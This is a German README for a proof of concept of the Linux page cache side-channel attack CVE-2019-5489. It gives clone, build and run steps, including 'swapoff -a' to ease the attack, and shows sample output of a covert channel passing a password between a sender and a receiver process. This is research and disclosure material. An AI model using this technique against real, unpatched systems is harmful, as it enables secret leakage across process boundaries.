
Page Cache Seitenkanalangriffe (CVE-2019-5489) Proof of Concept für Linux
Dieses Repository enthält den Proof-of-Concept für Page-Cache-Seitenkanal-Angriffe (CVE-2019-5489) für Linux.
Um den Page-Cache-Seitenkanal zu evaluieren, habe ich einen verdeckten Kanal zwischen zwei Prozessen implementiert. Der Senderprozess sendet vertrauliche Daten über den Page-Cache-Seitenkanal an einen Empfängerprozess. Page-Cache-Angriffe wurden in Linux-Kernel 5.0 und später entschärft, daher funktioniert dieser PoC nur vor Linux-Kernel 5.0.
HINWEIS: Ich habe es auf Ubuntu 18.04, Linux 4.15.0-70 getestet.
Führen Sie den folgenden Befehl aus.
git clone https://github.com/mmxsrup/CVE-2019-5489
cd CVE-2019-5489
make
Deaktivieren Sie den Swap-Speicher, um den Angriff zu erleichtern.
swapoff -a
Führen Sie zunächst den folgenden Befehl in Terminal 1 aus.
make run-sender
Nachdem sending 1th character ... in Terminal 1 ausgegeben wurde, führen Sie den folgenden Befehl aus.
make run-receiver
Wenn die Ausführung erfolgreich ist, wird Folgendes ausgegeben.
Dies zeigt, dass der Schlüssel über den Page-Cache-Seitenkanal vom Senderprozess an den Empfängerprozess gesendet wurde.
LD_LIBRARY_PATH=. ./sender
Sender process
ecicting page cache ...
sending 1th character ...
ecicting page cache ...
sending 2th character ...
ecicting page cache ...
sending 3th character ...
ecicting page cache ...
sending 4th character ...
ecicting page cache ...
sending 5th character ...
ecicting page cache ...
sending 6th character ...
ecicting page cache ...
sending 7th character ...
ecicting page cache ...
sending 8th character ...
ecicting page cache ...
sending 9th character ...
LD_LIBRARY_PATH=. ./receiver
Sender process
waiting ...
recved caracter(P)
waiting ...
recved caracter(a)
waiting ...
recved caracter(s)
waiting ...
recved caracter(s)
waiting ...
recved caracter(W)
waiting ...
recved caracter(o)
waiting ...
recved caracter(r)
waiting ...
recved caracter(d)
waiting ...
recved caracter()
Received key: PassWord